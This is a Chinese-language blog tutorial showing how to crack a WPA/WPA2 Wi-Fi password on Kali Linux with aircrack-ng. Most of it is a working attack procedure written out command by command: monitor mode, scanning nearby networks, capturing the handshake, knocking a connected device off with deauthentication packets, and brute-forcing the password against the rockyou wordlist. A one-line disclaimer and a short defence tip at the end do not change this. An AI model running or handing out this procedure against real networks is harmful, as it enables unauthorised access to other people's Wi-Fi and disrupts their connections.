Kali Linux使用Aircrack破解wifi密碼(wpa/wpa2)

  Kali Linux使用Aircrack破解wifi密碼(wpa/wpa2)

一:WiFi破解的基本要求:

需要有安裝有KaliLinux的計算機 支持監控模式的網卡,筆記本電腦一般都支持 字典文件 時間和耐心這種***需要字典文件,一個好的字典至關重要。我以Kali Linux自帶的rockyou字典爲例,位於/user/share/wordlists/rockyou.txt.gz。

使用前先解壓:# gzip -d /usr/share/wordlists/rockyou.txt.gz 

注意:破解其他人的wifi密碼是不好的行爲;這裏我使用自己的無線路由器演示。知道了***方法,你自然就知道怎麼防範了。

(1)首先斷開連接的wifi。

 在終端中執行:# airmon-ng

bd4ea773a009b24307bc7c0e43f7bede.jpg 我們可以看到上面命令列出了支持監控模式的無線網卡。如果沒有任何輸出,表示無線網卡不支持監控模式。你可以看到我的wlan0支持監控模式。

(2)開啓無線網卡的監控模式 :# airmon-ng start wlan0

cae0acf354265707c49070ce2778bd6d.jpg上面的命令執行成功之後網卡接口變爲wlan0mon;可以使用ifconfig命令查看。

(3)查看wifi網絡:# airodump-ng wlan0mon152c3edf3eacb817f208f6850a8d0006.jpg 上面列出了周圍的wifi和它們的詳細信息,包括信號強度、加密類型、頻道等。要記住要破解wifi的頻道號和BSSID。按Ctrl-C結束。

(4)抓取握手包

使用網卡的監聽模式抓取周圍的無線網絡數據包。其中,對我們最重要的數據包是:包含密碼的包-也叫握手包。當有新用戶或斷開用戶自動連接wifi時,會發送握手包。

開始抓包:# airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8 -w ~/wlan0mon

參數解釋:

 -c指定頻道號 –bssid指定路由器bssid -w指定抓取的數據包保存位置

9201265b907ce38bb0041dc0a24eb70a.jpg



(5)強制連接到wifi的設備重新連接路由器。現在我們只要等用戶連接/重連接wifi了,運氣不好也許要很長時間。但是我們是不會等的,這不是耐心***該乾的事。有一個叫aireplay-ng的工具,它可以強制用戶斷開wifi連接;原理是,給連接到wifi的一個設備發送一個deauth(反認證)包,讓那個設備斷開wifi,隨後它自然會再次連接wifi。

aireplay-ng的生效前提是,wifi網絡中至少有一個連接的設備。從上圖(4)可以看到哪些設備連接到了wifi,STATION就是連接設備的MAC地址,記住一個。

打開新終端執行:# aireplay-ng -0 2 -a C8:3A:35:30:3E:C8 -cB8:E8:56:09:CC:9C wlan0mon

參數解釋:-0指定發送反認證包的個數 -a指定無線路由器BSSID -c指定強制斷開的設備

eb7082186ef2aa235e662d4e21a2e349.jpg

如果成功出現如下的信息,按Ctrl-C結束抓包。

b77dae2c55c0e3558535c3927c32982b.jpg

此時我們已經得到了想要的握手包了,可以結束無線網卡的監控模式了: 

# airmon-ng stop wlan0mon 4ca9aeef9ff2e2ead5dc6d3d072fe849.jpg


(6)開始破解密碼,執行如下的命令,就可以看到已經破解出密碼,如果密碼複雜一點,可能需要的時間。 

# aircrack-ng -a2 -b C8:3A:35:30:3E:C8 -w/usr/share/wordlists/rockyou.txt ~/*.cap

參數解釋-a2代表WPA的握手包 -b指定要破解的wifi BSSID。-w指定字典文件 最後是抓取的包

68cf9db77b7cf274c1adfb241e75f9dd.jpg



總結:防止這種***最簡單的方法是設置賊複雜賊長的密碼;不要使用WEP加密方式,非常容易被破解:Kali Linux破解wifi密碼(WEP)現在的無線路由器都有WPS功能,關了吧:


 


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章